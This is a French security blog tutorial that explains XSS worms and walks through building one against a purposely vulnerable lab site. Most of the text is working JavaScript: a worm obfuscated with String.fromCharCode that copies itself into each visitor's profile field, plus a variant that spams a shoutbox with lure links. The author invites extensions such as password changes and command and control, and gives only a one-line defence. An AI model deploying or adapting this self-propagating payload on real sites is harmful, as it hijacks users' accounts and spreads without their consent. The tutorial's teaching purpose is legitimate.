Les Vers XSS: Game of Life

Par Geluchat, mar. 10 mars 2015, dans la categorie Journal de geluchat

Etude de cas, Tutoriel, XSS

L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.

Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.

En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée a été plus tardive.

Le plus connu d'entre eux est sans aucun doute le ver Samy qui a infecté le réseau MySpace en 2005.

Je vous conseille d'ailleurs de lire l'histoire du créateur de ce ver qui a mis à disposition son code ainsi que ses réactions heure par heure pendant le déploiement de son ver.

Une fois de plus, ce ver n’était pas nocif et se contentait simplement de poster un message sur le profil de la personne ("But most of all, samy is my hero") ainsi que de l'ajouter en ami.

Après cette petite introduction, passons à un exemple.

Pour commencer, j'ai créé un site faillible permettant de tester les Vers XSS, il est composé de quatre parties:

Il est disponible ici

Pour le configurer, rien de plus simple:

Voilà, vous êtes prêts pour la suite de cet article!

Si vous avez survolé le site, vous aurez sans doute remarqué que le profil contient une option "humeur".

Cette humeur correspond à une sorte de "message d'état", un petit mot que la personne peut laisser sur son profil.

Le champ "humeur" ainsi que la shoutbox sont tous deux faillibles au XSS.

Pour notre exemple nous allons passer par le champ "humeur"; cela nous permettra de laisser cours à notre imagination lors de la dernière partie de cet article.

Procédons, maintenant au schéma d'attaque :

Nous allons nous connecter en tant que Alice puis infecter notre profil.

Ensuite nous nous connecterons en tant que Admin puis visiterons le profil d'Alice.

Enfin nous vérifierons que nous avons bel et bien été infecté à notre tour.

Sans tarder, voici le code du ver que nous allons utiliser:

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);
post=post.concat(document.getElementById("owned").innerHTML);
post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));
http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);

alert("Infected");

Une petite explication s'impose:

On créé un id au script afin de le repérer sur la page lors de la copie du ver:

On ouvre une requête HTTP:

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

Cette ligne correspond à 'humeur=Infected<script id="owned">' Elle est encodée car le javascript est très pointilleux avec ses mots clés

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);

La ligne la plus importante, elle récupère le code du ver grâce à l'id que nous avons défini à l'aide de la première instruction.

On peut ajouter que l'on utilise la fonction concat.

En effet, un + sera mal interprété par notre requête qui la transformera en un espace.

post=post.concat(document.getElementById("owned").innerHTML);

On ferme la balise script

post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));

Enfin, on envoie les données sur le profil personnel de la personne et on affiche un pop-up qui signale l'infection:

http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);

alert("Infected");

Ce qui donne en action:

Alice-before


On change l'humeur par le script


Alice-After


On se connecte en Admin


Admin-before


On accède à affiche.php?id=2


Admin-After


On constate que l'utilisateur Admin a bien été infecté en consultant le profil d’Alice

Pour aller plus loin, on peut s'amuser à rajouter une fonction qui envoie un message dans la shoutbox avec le lien du profil à chaque infection.

Afin de rendre l'exercice plus amusant, nous allons utiliser une sélection aléatoire de la chaine à envoyer dans la shoutbox:

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);
post=post.concat(document.getElementById("owned").innerHTML);
post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));
http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);


randomstring=["[PDF] Pirater comme un nul", "[Tuto] BruteForce Facebook", "[TUTO] Hack Hotmail", "[INFO] Aller sur le deepweb"];
post="message=<a href=%22./affiche.php?id=1%22>";
post=post.concat(randomstring[Math.floor(Math.random() * randomstring.length)]);
post=post.concat("</a>");

var http2 = new XMLHttpRequest();
http2.open("POST", "/Ver/shout.php", true);
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http2.send(post);

alert("Infected");

Vous savez maintenant créer votre propre ver XSS ainsi que le modifier pour lui ajouter des fonctions.

Ces fonctions peuvent être diverses et ne sont limitées que par votre imagination (Changement de mot de passe, Command and Control, Bypass Token, etc.)

Pour empêcher les Vers XSS sur votre site, il suffit tout simplement de le sécuriser des XSS Classiques (grâce à la fonction html_entities())

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.